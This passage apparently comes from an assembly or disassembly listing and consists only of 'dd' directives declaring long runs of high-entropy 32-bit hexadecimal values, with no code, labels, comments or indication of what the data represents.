		dd 472116B8h, 0CB733B04h, 17A934FBh, 0FDCC84A0h, 0EE9A84D2h
		dd 51640113h, 7F80D8D5h, 67840391h, 491A5507h, 94F7538Ch
		dd 0A9109FDBh, 9BBE18C9h, 9FB100C9h, 0BF65F743h, 0FECFBB40h
		dd 2E500872h, 0D5D7CCF2h, 4E0506B8h, 0C049076Eh, 0A71BB703h
		dd 7BE93017h, 9DC3E5A4h, 7CDA6702h, 1794870Fh, 40AA1D65h
		dd 252A42E4h, 5C40293Fh, 346A2968h, 11BA94A5h, 9A1CE909h
		dd 743869A1h, 43DCC652h, 46D05A01h, 0AA68C7E9h,	891D8C4Bh
		dd 5BC235D0h, 0E9E1F5ADh, 72FE284Fh, 0F3124496h, 0FD63DC57h
		dd 8144E952h, 0A8278C7Bh, 50B7CD54h, 6802B40Fh,	12639584h
		dd 908E288h, 0F9923FA3h, 0CC654C37h, 10953075h,	91F1ACA0h
		dd 48654FA5h, 0B528AB69h, 31D74038h, 20B3C84Ch,	0AA40A0B6h
		dd 0A66C9DA7h, 0B2BDF7A3h, 8DE8409Eh, 309867B7h, 0B2BFE97Dh
		dd 64B3B0BFh, 9BD9BB7h,	0B318F3C7h, 114B8C68h, 0B95B198Ah
		dd 1C02B2B9h, 6849E925h, 2765C3AFh, 0C3780854h,	883D690h
		dd 8221B8CCh, 66268868h, 6A0EB119h, 0E9D502C6h,	0BA001326h
		dd 0E533320Ah, 78C4A42Ah, 0FF1C562h, 20A6C4A3h,	201E5073h
		dd 0C8095BFEh, 0B0FD108Ch, 0D045BF56h, 7981FD0Bh, 0C7394B22h
		dd 1DA0DA37h, 0A328E954h, 0AFB8DB9Dh, 0D302EF53h, 0C69FBEE9h
		dd 0F8680195h, 5A3B7F31h, 5F77FC4Ah, 0BBBA0FA8h, 63A97107h
		dd 0F25092BEh, 0C2514E3Ah, 0F50A2D56h, 67EA7DE0h, 246503F4h
		dd 0F7E42142h, 1A1F13E7h, 130BBB4Dh, 4119D7B9h,	26146B7Fh
		dd 20860079h, 0EA8058E2h, 7A12CE99h, 5334E4C2h,	1F95961h
		dd 0DB3DD25Ch, 4F4FCA1Ah, 0D77AB150h, 79C03D7Dh, 385576CBh
		dd 0FBF6A026h, 373E2E5Fh, 20BF2025h, 0BD02E260h, 56E70869h
		dd 0D163F731h, 0A8D6F799h
		dd 83003208h, 4D745C43h, 9B05C168h, 6BAA002Bh, 0D2F748F5h
		dd 0E2814A1Fh, 6797131Fh, 4BFE8801h, 0A2390F98h, 0AB5DE812h
		dd 3C38C100h, 20686EF0h, 0E978646Dh, 0C2B9B160h, 1398CB78h
		dd 31D0293Eh, 70D9B3C8h, 0E1836404h, 0CD7A4F4Bh, 54979657h
		dd 20AF79AFh, 7100D2CEh, 0B8507424h, 5B75052Dh,	142E85Eh
		dd 61EF18AEh, 0C3F3E0C1h, 8767A9B2h, 0C2684B2Bh, 0E9899776h
		dd 5958A45Ch, 1B9781ABh, 0C439328Fh, 460E81D9h,	44A1EE80h
		dd 5DF807ABh, 2C2C189Eh, 0E658F20Eh, 0B0C5172h,	448049FEh
		dd 29E3047Dh, 2D8008F3h, 198439C1h, 1B7E297h, 0F0A6807h
		dd 5060D34Dh, 8B905851h, 5EF5FCDDh, 0C5F8D97Fh,	0B0DA6A14h
		dd 5E642E7Fh, 65666B2Eh, 16165790h, 49AC0E4Ah, 0B5E97604h
		dd 9A1DFBF1h, 4047C09Ah, 80B3A6FAh, 0ED12B753h,	4609FC88h
		dd 5F67A7Eh, 8A2B96EEh,	0D164A50Fh, 0C4D93294h,	4F0FA4C2h
		dd 760EF783h, 0C7B07F9Bh, 0E50A4690h, 0D08FE99Ah, 0CE435C92h
		dd 0E17EE672h, 53827D88h, 9D0660E2h, 40D2D5C1h,	30236BEFh
		dd 0CB320B60h, 0C754077Dh, 0B2932B0Ch, 49403148h, 92B7A1E7h
		dd 0E06D413Fh, 0F85A6A73h, 56B1985Dh, 2DE70B68h, 37DC2136h
		dd 0CA1254A4h, 77F57920h, 553D3826h, 0B2B516CEh, 0E88A106Ah
		dd 4ED8017h, 58DE0AC8h,	0A238B428h, 13B8D8B7h, 0B8767C68h
		dd 1D22D39Bh, 64B4C5Eh,	0E50EAFB8h, 6940CC7Bh, 4F75E55h
		dd 191C436h, 6651045Bh,	6C643D7Bh, 30D84ED7h, 0F3EB5C80h
		dd 683D6B22h, 8EF3DAE4h, 0ACAD4517h, 50B4C496h,	0EBC9570Fh
		dd 0D55AE2h, 2868DB36h,	5A999D76h, 0A2F678BCh, 1798E1B0h
		dd 73F649A7h, 0A845B04Eh, 3AA1A53Eh, 0CC4B552Bh, 7295BEA2h
		dd 52E912AFh, 6EBFC9D3h, 0E9829EA7h, 0C07AE854h, 2933E307h
		dd 2CC00D77h, 0EA2D5211h, 9E397A3Fh, 0C870943h,	0E98BB573h
		dd 6B2CDC4Ch, 7BC7847Dh, 0E59F9DEBh, 0F9310180h, 0EE244A72h
		dd 9DFBA5F9h, 0EE563h, 26C0BF18h, 534F6568h, 3927BB02h
		dd 424B3CEDh, 0BF53506Dh, 0E9424853h, 2F2054B0h, 83D72D1Ah
		dd 2745AE7h, 125EEB87h,	0ABF09EE2h, 5C9AA892h, 5AD02116h
		dd 52F45C92h, 28770420h, 999CBE9h, 419A8721h, 0F5AE5592h
		dd 0AA4DFA94h, 5B5B487Bh, 5A2BF1FDh, 917AA5ACh,	285BFB2Dh
		dd 0C600D0E5h, 0D161740Dh, 5BFCFEE8h, 0BB4CC8ECh, 0C53B6E1Ch
		dd 9C76D2E5h, 95EC533Eh, 171F1035h, 79610F60h, 68277DDCh
		dd 332348BDh, 0BA60D35Ch, 0E5FCB668h, 0C252A66Eh, 66726B68h
		dd 81CAB7D7h, 5F9FA4D7h, 0E7E8BC0h, 25617C15h, 631AEC65h
		dd 56D938D7h, 4CB3B453h, 0F5A1D81Eh, 4AB06FC5h,	0DBC04DF1h
		dd 0A2F6975Fh, 70447E2Ah, 2743421Fh, 91254AFh, 59A675E1h
		dd 0F2F506EAh, 0FBE461h, 0EC30BB0Dh, 3540073Eh,	895D3F24h
		dd 0CB3824D6h, 4BB83A21h, 68D22D02h, 2BB9512Dh,	28E95073h
		dd 926C84E8h, 37416BC5h, 28948760h, 81748C06h, 0BD0D90F3h
		dd 8114AF42h, 0D718B29Dh, 0B1102204h, 0E1693E5Dh, 0D858B37Eh
		dd 2D49FF7Ch, 0D9E047E8h, 33260F97h, 65100C36h,	68F00102h
		dd 9F5C2690h, 8E2EAA60h, 0EEE0A030h, 5B8B2D02h,	0EFC87C63h
		dd 74373CC3h, 28B16C19h, 18891C42h, 3B404023h, 6382EB93h
		dd 64DB92Dh, 0FF5B5E92h, 5191B844h, 0A1023CB4h,	0F37EF7D6h
		dd 56915406h, 129BBE05h, 0A2AC611Ch, 71B7C603h,	0CEB017D0h
		dd 72273E34h, 1382D474h, 5C8441D1h, 7F90980Ch, 0A5E97C02h
		dd 37E757ACh, 0FF1D192Dh, 63B2B42Ah, 0FB54A40h,	0C4C580AAh
		dd 54AB4F4Bh, 63202F4h,	0BC81DF02h, 3A36857Eh, 8053F285h
		dd 0C43874EBh, 8874B43h, 4412DB05h, 81B050BDh, 3C4768Bh
		dd 6D97F081h, 1F30FB59h, 98543937h, 17470CE0h, 1345340h
		dd 81D28D1h, 3E4ECC4Ch,	0F43BE1BAh, 0C3D3504Ah,	0F6C82A01h
		dd 847F43F3h, 5F96C0F1h, 2509F736h, 52FD74E9h, 2C8B2990h
		dd 0B82CA8Fh, 32DF51FCh, 3E97D77Eh, 4AC3EC25h, 0DEDB4608h
		dd 8802C65Bh, 13FED76h,	0CE4555F1h, 818210A0h, 1896856h
		dd 0F0E306D9h, 5BDD27BBh, 0E9273914h, 0BB76006Fh, 656B2EF8h
		dd 2EEFC62h, 0DD31FCF8h, 0F558897Ch, 53E0B1Eh, 21870131h
		dd 15CEEBE2h, 0B5516617h, 0B6E1140Eh, 959837EAh, 0BA35902Bh
		dd 0AB2D9182h, 9DA25810h, 0CFE9F0E0h, 8BDE4C97h, 5A01F03Dh
		dd 0C519588Ah, 2708F268h, 0A0BE1D66h, 5D6A10C2h, 9B686610h
		dd 0CEB30B4Bh, 0F3D23E16h, 48F612E4h, 532DB798h, 2678B94Bh
		dd 58301AE5h, 0FE35E95Bh, 0F482EDEBh, 0FA945D94h, 6A29664Fh
		dd 2F64CD0Bh, 6AC8AB66h, 5D97DDABh, 96869A6h, 0B25554AFh
		dd 66BE40B7h, 9E5E682Ah, 9E411492h, 0C7156434h,	7A77D1C6h
		dd 77E56F0Bh, 0D0590802h, 7BC4BF14h, 39ED5D4Eh,	0D12DFBD2h
		dd 36CD942h, 0EEEAFE01h, 4B294B75h, 2535FD26h, 7F43DA5Fh
		dd 215B272Ah, 3CCDCCD4h, 41B69360h, 0CA55F65Ah,	0DDE055B8h
		dd 7C82C038h, 6DC3527Ch, 0FB2D8100h, 138F06Fh, 0BB5995C5h
		dd 55B9662h, 6698FB50h,	2D094007h, 71424A95h, 0A205934Bh
		dd 0B6201677h, 102DB4EDh, 47EE4502h, 281F609h, 44B47767h
		dd 0D780AE60h, 0B563B580h, 88732368h, 459EB38h,	535B66D8h
		dd 0C5B1C2AAh, 90C00C0Fh, 81C95BFEh, 0F477C13Fh, 660E59CFh
		dd 843B2868h, 75040489h, 770B1F83h, 7A3C541Dh, 66513861h
		dd 0D5F04E20h, 131904CBh, 0D259E943h, 0C5DD5F8Eh, 0E1F70120h
		dd 7A786968h, 4D50A5E3h, 0B7475E5Eh, 62F7215Ch,	6E688CE9h
		dd 69EEFB31h, 0DB95B24Bh, 47D24916h, 7F508B5Ah,	0FBBB6327h
		dd 0FE61696Ah, 20646171h, 258D6CEh, 56C79DE2h, 0EBB40A79h
		dd 0A3013BF1h, 6B7006EAh, 0A2285F36h, 0AA8B176Ah, 520175A9h
		dd 9C3E6A68h, 0F80BF421h, 2FEA679Fh, 9D5C19DCh,	3B60616Ah
		dd 959CA629h, 0A709609Ch, 0E5DFF036h, 58E90841h, 0EA8473BDh
		dd 0ABB5497Dh, 0F4940B00h, 0BA01E2A7h, 0E3582071h, 0DB0961B5h
		dd 0CDBD807Eh, 0B63D523Dh, 1CCE9F8Bh, 0E97CEE82h, 68E6A10Fh
		dd 84C377DCh, 0D747695h, 0F84B3CB6h, 99E9F185h,	0EA66122Ah
		dd 8F512370h, 51304B42h, 0E84A927Ah, 5F9EB09Fh,	40585C1Dh
		dd 4700046Bh, 0ADE94602h, 4B9A884Dh, 9215E3F4h,	95E2EE54h
		dd 680FB24Dh, 7A8B386h,	0A405F8C7h, 4F80EB5Eh, 5179FA0Dh
		dd 907AB7A1h, 6DEDE90Fh, 69BB5CD2h, 9513D44h, 0F6BFE0E9h
		dd 26E825Ch, 420A7184h,	0FE0D6502h, 0E9D58711h,	296C6DD0h
		dd 855A5FD5h, 286BFE9h,	0EF1B70Ch, 1AFD5B3Eh, 0E9133458h
		dd 0D321F4D9h, 61EE38C0h, 0FC7E6421h, 9B56598Ah, 40C7BF80h
		dd 0E5FC6DB3h, 0C090D458h, 0D36E2B68h, 25580218h, 400B0AEEh
		dd 35034D60h, 0B1382401h, 809AE949h, 8B1253AFh,	2A20E8C6h
		dd 1F4558A7h, 6E045207h, 0B02FC212h, 0CE62D34Ah, 9E7B79F4h
		dd 9755718Bh, 0E984D853h, 0C894D6F2h, 0A49E15Eh, 8118DF02h
		dd 5E81722Ch, 59F8C86Bh, 660992B6h, 5FC91A54h, 0CC5FAB6Ah
		dd 0BB0F2F9Dh, 45165D22h, 0A1EAC55Eh, 0D222FC2Dh, 2120F4DAh
		dd 0B4500B86h, 1487B55Ah, 7E3DC2E5h, 7044455h, 3318F70Dh
		dd 0A1DFD54Bh, 0E29A0091h, 5F256743h, 0FE765049h, 3BDBB682h
		dd 0E444CC93h, 22141929h, 2F87D89h, 3461C3DCh, 0D7007509h
		dd 9AA907EBh, 5F89B901h, 0BC68E920h, 0DFDE6C2Dh, 0C31771B2h
		dd 30C1601h, 44992641h,	8216E3C1h, 51ACF031h, 0E8150993h
		dd 0B0D5094Ah, 9F72D67Fh
		dd 220D21Eh, 0CE282CA3h, 129B107Eh, 82F6F530h, 76AB0210h
		dd 80F8734Ah, 41C1BD74h, 0E4D7FCD4h, 2EAA3A8h, 1371589Fh
		dd 1DA376C9h, 0CD7456BCh, 371B24C8h, 25175713h,	0DE621718h
		dd 3056818Bh, 89CFEE71h, 0A224A4CFh, 5D6D49FEh,	0B3C32587h
		dd 0BB65EBF1h, 3BA14E0Eh, 68096C36h, 8467E75h, 7882A0F8h
		dd 301F0B46h, 2E50367Fh, 0AAB2CF4h, 12B3D420h, 0B11DC380h
		dd 0A9996B33h, 0BEC3D56Fh, 43C78391h, 0C5895A00h, 29C2A7A1h
		dd 55A45B19h, 347BE368h, 21D8FFA3h, 0F114B75Bh,	4706534Fh
		dd 9F0BD6F7h, 326FF0F1h, 0EC4EEFCh, 0EA29056Ah,	0EEF93E85h
		dd 0D9E05D2Fh, 1A59E955h, 0B3A24ABDh, 20C688C7h, 585A2877h
		dd 0F5E959C4h, 5F688CAEh, 6F4F517Ah, 68C5A21Dh,	0CBFA5BC2h
		dd 69C95F7Bh, 0C4B1E27Bh, 98ABC821h, 7041B362h,	0C44CB23Bh
		dd 45A8A805h, 0D2CCB8A5h, 8BCA78AFh, 0F68CC40h,	34826A6Bh
		dd 0B9E87045h, 0FA052588h, 157BB790h, 57936805h, 0A27431BBh
		dd 0E5C1009Ch, 0B8500106h, 351D1980h, 5DFF4229h, 793331CAh
		dd 51EA53EAh, 0ABDCA257h, 1B000942h, 94B755Ah, 585525F6h
		dd 18E42D0h, 25FEC7DFh,	32284119h, 53823594h, 0AAA4B2A2h
		dd 88522643h, 0E9F490DEh, 0F8EA4EA7h, 4BFBC49Ch, 0B104FB16h
		dd 0FE069935h, 0C00304CCh, 0EC8008E4h, 0E476FAAFh, 0A0ED3B8Ch
		dd 0AD0B7896h, 0EFAA0508h, 9E1C68A5h, 5584196Dh, 954423ECh
		dd 93500271h, 0B957B96Eh, 0BB53E18Eh, 54EC7C22h, 45085EF6h
		dd 0DCF82D7Ah, 55C207B6h, 0D0F409D4h, 0C25631A7h, 0AF319F21h
		dd 8C10297Bh, 5DBA9041h, 2E1191D9h, 839B8866h, 0C2860927h
		dd 4CDC427Dh, 57A9897Eh, 878733DFh, 59025E13h, 0D6F6C6FEh
		dd 0C0A2E2C0h, 652012F9h, 0AC5A6DF5h, 0C631801Ch, 0BFF78958h
		dd 0D7D208C6h, 0EAE8F271h, 1366B32Eh, 29FF9D98h, 193442C4h
		dd 0F09CE58h, 226F5384h, 7D3FDE95h, 0B311F598h,	914B6082h
		dd 2EF06E93h, 65A380F8h, 0F82BF72Dh, 5B078157h,	0E0088A55h
		dd 0BBFC2590h, 97F0662Dh, 21E7FE6Bh, 2BFBB0D1h,	58A18412h
		dd 0E909F136h, 4651D7C1h, 7829342h, 0B0CFC05Fh,	14407B17h
		dd 6DA300B9h, 0E9FB8990h, 3FC5EFE4h, 0C2094AC1h, 49285559h
		dd 2CA72308h, 9A0E4376h, 26CF3906h, 0ECB0424Fh,	6133EEF4h
		dd 80056A38h, 0BA54CA0Ch, 0BE9520Eh, 28A75A7Ch,	53DDA10h
		dd 29D2E2Bh, 0FBD8389h,	565ABD12h, 284AE78Bh, 0EC2D68BAh
		dd 3AB5E64Dh, 643A1E2Dh, 0D01EE01h, 35C0E915h, 5A3437BDh
		dd 0A2973AADh, 2BEA921Fh, 0B7E9091Fh, 0F6E329EDh, 0E1480841h
		dd 0A392531Fh, 3142B9ACh, 0DD60A293h, 9ADAED93h, 90CDE917h
		dd 62A0C602h, 0F1B57BE6h, 4D10242h, 0E38BC26Fh,	68ECB0DFh
		dd 8B4E1F5Bh, 15FA2516h, 26E89D28h, 0F124B80Ch,	2270C6Fh
		dd 0E9310A77h, 0DB4C70ACh, 93BFF2C0h, 0A018453Fh, 2620FA87h
		dd 2026E8h, 37684E7Bh, 0AAB22EE9h, 988B5097h, 934EBFD4h
		dd 5AD4C220h, 25F82C50h, 64A93F13h, 7CAED4E0h, 0BDA7F21h
		dd 838DE9D8h, 0C920F8D2h, 0B05F55ACh, 69D4EC26h, 0FE581961h
		dd 0FDE68C3h, 0C9EB3077h, 485E424Dh, 947B299Ch,	1059CA21h
		dd 5E662FA2h, 0EAB7426Bh, 3FBB050Bh, 5A7CD1F2h,	0BBCE8F9h
		dd 56339468h, 0D2E4673Eh, 7AC24DE2h, 43F0E086h,	68132D46h
		dd 4026B454h, 0F01B7E60h, 1FD8F75Eh, 4925E0D1h,	6E02BE46h
		dd 0C0E9A98h, 402156C3h, 52EE4D54h, 44FCBA06h, 40A8478Bh
		dd 4B55C77h, 58A01DC6h,	2664F8B9h, 17D56FF6h, 83A5F93Fh
		dd 0E902C083h, 0DB7DF2FDh, 537D6882h, 55F257C6h, 787BD09h
		dd 0ED398338h, 890D2683h, 0B77E897Ch, 565C7566h, 6CCC2004h
		dd 46F671BDh, 0FDCBCD5Fh, 0D4D0F784h, 3B8E9C88h, 3E289D40h
		dd 0E6BA5AF5h, 0B353E884h, 0EA0185FEh, 1BEB1507h, 512C07C9h
		dd 0DF7E2588h, 18EF010Bh, 4AB252B0h, 1CFCE8DEh,	0F2CF72CAh
		dd 0AB01D73h, 51D188B0h, 0C8D4EA5Ah, 0B5D079F6h, 6D9EA0D8h
		dd 0C36C859Fh, 91126526h, 661D3F56h, 0FE4C7BFBh, 0C0BD387Eh
		dd 7E50581h, 0EF16E471h, 0C0A6FA49h, 9FB86Dh, 355D7461h
		dd 3BFD34A2h, 501849Ch,	1E5B26BBh, 0AF22B13Fh, 2137006h
		dd 0E92B2C51h, 0CEDD7CD8h, 0A039B941h, 0C89630C6h, 164C385h
		dd 0BC335E39h, 8A272EBh, 0C0EF5940h, 24BB4912h,	8A650EEh
		dd 9AE95B04h, 0C427F8D3h, 49F23DBEh, 3155B78h, 0C80F5CF0h
		dd 3BD1D5C1h, 1EFA6F24h, 0C06CD63Bh, 68535777h,	55E6A00h
		dd 0CB815B19h, 0D3310579h, 0A089E903h, 98B758CEh, 26B6055Bh
		dd 3E13F970h, 98F9E1ADh, 605B5281h, 0BCE75E7Dh,	46C48AACh
		dd 0F15A5D40h, 0B75CA393h, 0C54502F4h, 7BBE4DBDh, 6AD6D481h
		dd 25B06E99h, 43C1398h,	0FA17EFE1h, 6C6ECBA5h, 2951434h
		dd 57E1F627h, 3877F812h, 82E67CFCh, 4924E177h, 4AFB27Fh
		dd 48585FBCh, 4E88342h,	67F1834Bh, 1B443FDCh, 28003F5Fh
		dd 2C5A66F7h, 0F87D8370h, 0EA83D268h, 45C8F200h, 2DC17A84h
		dd 7F5C07E2h, 9C4B0302h, 25F6DEB7h, 212FF4FAh, 15816849h
		dd 6DC63D2Eh, 0CFC225A5h, 0B20B8B89h, 603F5DDCh, 78FCEA2Bh
		dd 90495138h, 0AE019F92h, 8C680704h, 6C6EBF00h,	3290606Dh
		dd 372FBC04h, 0BAA04746h, 77E84E57h, 3C8FB26Fh,	115806Ah
		dd 0C961658h, 0B9B70607h, 0E2406B08h, 80E3EA3h,	732B2010h
		dd 11188362h, 5089032Dh, 63D21010h, 0F131FB31h,	2118A4BFh
		dd 0C7600831h, 86F2998h, 9F807309h, 4612806Bh, 0F4B638C4h
		dd 1058981Fh, 8C642E7h,	20185510h, 0CE317C59h, 2A4A104Fh
		dd 0C1104D03h, 0F2189B27h, 0B5C71872h, 807A3580h, 6680957Bh
		dd 8F08C48Ah, 0B88E0615h, 0F1676C29h, 5762D4A1h, 7772F10h
		dd 43080863h, 0F6480C5Bh, 1F62A608h, 2EC3F18h, 2F06E456h
		dd 884731C9h, 399D010h,	1E311077h, 0E3643891h, 2A49F810h
		dd 20988808h, 0DA31D519h, 9A69181Dh, 0F5F6088Ch, 7A407E18h
		dd 10AA6585h, 45884489h, 0A2C06D0h, 96A44069h, 404A4840h
		dd 0D140970Fh, 0F401FB41h, 94C1A28Ch, 0F9D85054h, 62AEF140h
		dd 6AB01892h, 3F3F802h,	81861AFh, 792091D1h, 64CD8087h
		dd 0C460A680h, 4866A18h, 0B9047157h, 22C60668h,	944C2008h
		dd 31182D20h, 6828A5F2h, 0BADE0153h, 749B1088h,	10A89115h
		dd 5C1896E5h, 690D0879h, 80145E80h, 38CA9202h, 5992E4D9h
		dd 0D476446h, 0DAA64021h, 0B449E9C6h, 0B3212008h, 28CC0B7Fh
		dd 630A99A3h, 5FF00890h, 0E3202018h, 0CC4FA908h, 53104A79h
		dd 0CE086363h, 93183145h, 88AC6B41h, 8265F18h, 420C8F82h
		dd 0A95E819Dh, 0E2016880h, 810C0132h, 504B1102h, 45E44CC5h
		dd 9A65E551h, 0AC46DF08h, 201057AAh, 0CC208ED7h, 75BB20B0h
		dd 8781631h, 1892E0EEh,	483C4974h, 98A65C22h, 49A7BE02h
		dd 0DD010C28h, 49CF028Fh, 0D0248474h, 4D0A4039h, 0A9389440h
		dd 2401B8h, 0FEE1402Dh,	4092E240h, 8264E472h, 2893D311h
		dd 5F18191Ch, 8A8B082Ch, 8C7B09D1h, 3B081798h, 6930C97Eh
		dd 358B8828h, 0B69845D1h, 98058AEh, 75816E8Bh, 4CC26188h
		dd 83D0408h, 0DB0C42D8h, 0CA20E927h, 88BC6D08h,	21087FA3h
		dd 9C600238h, 0A464E8FCh, 333BD09Fh, 0C76F441Ch, 413423C7h
		dd 473B1000h, 0EB02752Ch, 0E896313h, 3D7AA7B9h,	44010500h
		dd 0B49408Fh, 0F7750BC9h, 0E6C0748Bh, 0F02F03DEh, 332D23B9h
		dd 0B10FC0C0h, 2C30604Fh
		dd 51E6E9ACh, 0CF55C2E1h, 0EB8007EDh, 2D493F91h, 8CBAF454h
		dd 60108DE9h, 2FA09657h, 0D772BED4h, 525525CEh,	10316B81h
		dd 307F5AD1h, 0CEF7E96Bh, 0D4681CC2h, 0C98E5C11h, 709DB2C6h
		dd 8A925F39h, 43020A73h, 68061C01h, 321B2185h, 5E0AED58h
		dd 7660CE59h, 3F10392Fh, 8B50EBC1h, 61EA0B92h, 85F7092Ah
		dd 0F780C7BDh, 171B82F7h, 80576A70h, 8735C92Ah,	578B695Fh
		dd 0B40FC128h, 0D0BAB1ABh, 6BED1071h, 550B3043h, 387EEC0Ch
		dd 0CD017202h, 5515A4E9h, 92744713h, 0F2CD818h,	2552BD2Ch
		dd 887750BBh, 942D0876h, 7F68141Fh, 0FED2A625h,	0D7E98A60h
		dd 7ECDA843h, 75100152h, 0F706EAC1h, 0F1022EDAh, 5D6AC40Fh
		dd 11413F00h, 629036AAh, 83F7590Bh, 0D654F803h,	0D9BD0C30h
		dd 0FF6CEBDDh, 5FD4603h, 2955BB59h, 0B88300FBh,	6D730C0Dh
		dd 0CD07839Fh, 21383C48h, 0FB87215Ah, 0DE1A3D2Bh, 791201CBh
		dd 25598A91h, 69BB00FAh, 0F763EA38h, 6FD1DB24h,	78890039h
		dd 0BD556CA6h, 0FB482673h, 17402736h, 503C90EDh, 40A45232h
		dd 0EC15B08h, 6122DC6h,	0EEEDB12Bh, 9911E577h, 0DE8B9787h
		dd 7A32BD00h, 9936D0D5h, 0BEA8744h, 10A02993h, 0C31F4C54h
		dd 0E8FE36CBh, 0C93D3B8Ah, 905F5B2Ah, 77FD86A1h, 6439FEC6h
		dd 844F7E4Ah, 0C7AC27ABh, 0D5189D53h, 0BC4DA010h, 6861130Fh
		dd 0DC16654Ah, 0A40E31FBh, 0E38E3A78h, 5486304Eh, 734E95Fh
		dd 63AE5C3Bh, 0AFFD36C2h, 5EF7F388h, 0F4A1D5h, 848929A6h
		dd 8761C99Dh, 9DD2BC2Ah, 18AC3CD2h, 0B5892C88h,	974864FDh
		dd 20519E61h, 0D582E74Ah, 9DD05713h, 0F8930113h, 0CE0093A0h
		dd 21EFBB30h, 4FB6E9D8h, 1F10A4FCh, 0D00C8F27h,	2E7B0300h
		dd 0C1E91219h, 0E0BE2302h, 77174315h, 7C6274C0h, 7A5C18C9h
		dd 91B43ED0h, 19C3171Ah, 0C2FD6372h, 5FC28823h,	0E5BE2D0Ah
		dd 59B08230h, 461CC068h, 948597C1h, 0ECC562D3h,	454DF113h
		dd 162524h, 813B735Fh, 0E07C18F5h, 0F858244Bh, 6F3E43E0h
		dd 448A1129h, 0B255490Ch, 0A7C28010h, 97685B4Ch, 18005C62h
		dd 4F1B06B2h, 2E3CE91Ah, 633456B2h, 12EAF9F7h, 0CA296448h
		dd 2A85950h, 202C4620h,	0B6036C84h, 0D7EE80D0h,	7CC7DA53h
		dd 0DF046F96h, 8E49AE82h, 809250EBh, 83FEF6F5h,	9AD5438h
		dd 7089B3EAh, 49C504C7h, 95718E3Ah, 85391034h, 9605CF00h
		dd 0E9EB315Ch, 42B4B933h, 0D1F2F058h, 7BC33E2Fh, 0CE279718h
		dd 0ADA41768h, 0A040AC20h, 246783A3h, 18933625h, 48F2856Bh
		dd 0AB4F6F12h, 21A402BEh, 0A0D75BD8h, 0A3787B37h, 6943BF28h
		dd 0C5E05C4Ah, 66CF4887h, 88145231h, 268147FCh,	48BD1019h
		dd 9DB3F532h, 41D6B148h, 0D8406235h, 80D7CDBFh,	67758D98h
		dd 0BCF50180h, 4EC2C3FBh, 0FA5F02E9h, 820FD54h,	0FCF45D4Ah
		dd 53318B7h, 245E2E40h,	0C7498428h, 0BF50D440h,	35A5CFC9h
		dd 0DBB47EA2h, 0EA557B07h, 49FA9151h, 7AA41490h, 425F7482h
		dd 7D0BFBD6h, 0B761D22Eh, 0E478353Dh, 0CCF305EEh, 21845C9h
		dd 3376099Ah, 8AD582F2h, 0B30800AFh, 4CBB018Ch,	3046AD64h
		dd 3902F061h, 0D4E942F5h, 0D70009FDh, 6C4D1AE1h, 0DA463A5Eh
		dd 951F501Eh, 574B1CDEh, 37B6A730h, 552C0492h, 28C5FA18h
		dd 9F834BACh, 0E9A9942Dh, 307BC708h, 76CA882Dh,	59CF87A4h
		dd 230255Ah, 1B18E934h,	0CA1285EBh, 26A38142h, 0E9609527h
		dd 1417A2B8h, 24FF0EA8h, 34EC5965h, 7C1791Ch, 793660CAh
		dd 71F73B3h, 6A09EA17h,	0EC1CDB94h, 1A6C5720h, 8A4B43E9h
		dd 0DDFBE67Dh, 0FDE7C290h, 23E8FC40h, 5B09D989h, 0A2AF09E9h
		dd 0C0254282h, 0ACE81D1h, 480C76F0h, 0BB5384E8h, 22C0BA38h
		dd 0D44C06E9h, 0F0722162h, 0BF655CB1h, 0EE1DD4A5h, 6FE6164h
		dd 0AD0CDF08h, 0A873331h, 2630CD09h, 0FFC509F5h, 0A57E6BFEh
		dd 6974E942h, 1CFD689Fh, 2EA9292Eh, 27828261h, 90E14B64h
		dd 14E895h, 2DFA9E47h, 6D08392Eh, 8264F0BFh, 0FC296007h
		dd 7389FC5h, 1ABD4668h,	6F59D686h, 821D74DEh, 0A04A032Fh
		dd 66BC41C0h, 45F5C2E1h, 6F7E270Fh, 16FE3E64h, 2F2DFFABh
		dd 266567FDh, 0CBECE73Bh, 3C178BBh, 30A0F580h, 0C2B159EAh
		dd 21C1E431h, 7AE1284Fh, 40F65AD4h, 883D7CD9h, 0AD012CEh
		dd 0BDB261BEh, 0FDD41478h, 0B1BA882h, 93F7F800h, 77409840h
		dd 279458D8h, 0E64EE258h, 44CD1769h, 17953461h,	0F0C4AF97h
		dd 0D600F7A8h, 8993F681h, 0F30913D2h, 232223FDh, 9AF551C9h
		dd 0EF4E41FBh, 0C15DC924h, 95352D1Ch, 1BE17A57h, 9147103Bh
		dd 3998E305h, 0AE82AF86h, 48316221h, 9A4B8502h,	0E6259555h
		dd 0BF60F008h, 0E5F4A90Ch, 3F5FD4FEh, 259BDF31h, 3DB0971Eh
		dd 784FC06Bh, 841B5E9h,	0D20626F4h, 4825E696h, 80CA18A3h
		dd 1664EE41h, 0ACE60786h, 3968098Ah, 8C9CF728h,	0C1E7E913h
		dd 0E7E769BEh, 0A7B1BCA4h, 0F128F09Bh, 82D3B82Bh, 573C0A68h
		dd 0D2769732h, 0FB96F625h, 0EF684402h, 5D21F330h, 5A2E5996h
		dd 46F7A06h, 560F9086h,	0C31298DEh, 4E0373E6h, 0B7683550h
		dd 103D1129h, 6C042C7Eh, 74D0F760h, 0C1091407h,	0C714E7E7h
		dd 0F123801h, 685130A0h, 65B54932h, 0F7C92Dh, 0C91DF275h
		dd 5BAB8201h, 658023DDh, 0BA284BE0h, 25E92A78h,	98FE496Eh
		dd 942046CFh, 0DA53BF0Ah, 22526885h, 482C7809h,	97379602h
		dd 0E52C7C46h, 46C7471Ah, 0BA5F9780h, 0DB0519F1h, 4556451h
		dd 773BC680h, 0EB064C0Eh, 0AF39C009h, 0E90683FCh, 9D26A94Eh
		dd 225209F9h, 5F65ED9h,	0F3A0C128h, 0D8B900F2h,	1A112456h
		dd 4D160574h, 82B08486h, 0BB00F74Dh, 4862048Ch,	0F6022355h
		dd 310DA546h, 0F1B7415Dh, 4442B092h, 0BEC189D5h, 0E0EE492Dh
		dd 0B7D0E3DEh, 5B125C65h, 38272CEFh, 7A49D59h, 0C34DFDE1h
		dd 1AEEA3h, 22E7BB68h, 0CB811BA8h, 0BE37A90Eh, 4BF3C00Eh
		dd 95C2A310h, 681552D0h, 7335129Fh, 21EAF94Ah, 7B25C153h
		dd 5C2FA7E3h, 338BC1C5h, 62C97C1Eh, 0B2FEF756h,	57E2C062h
		dd 0F8B74C6Ch, 88AAC311h, 2B255921h, 9D194858h,	541EC90Fh
		dd 0C3B9805Dh, 0FA05923Eh, 2C29B31Bh, 0EE3213BFh, 881042Dh
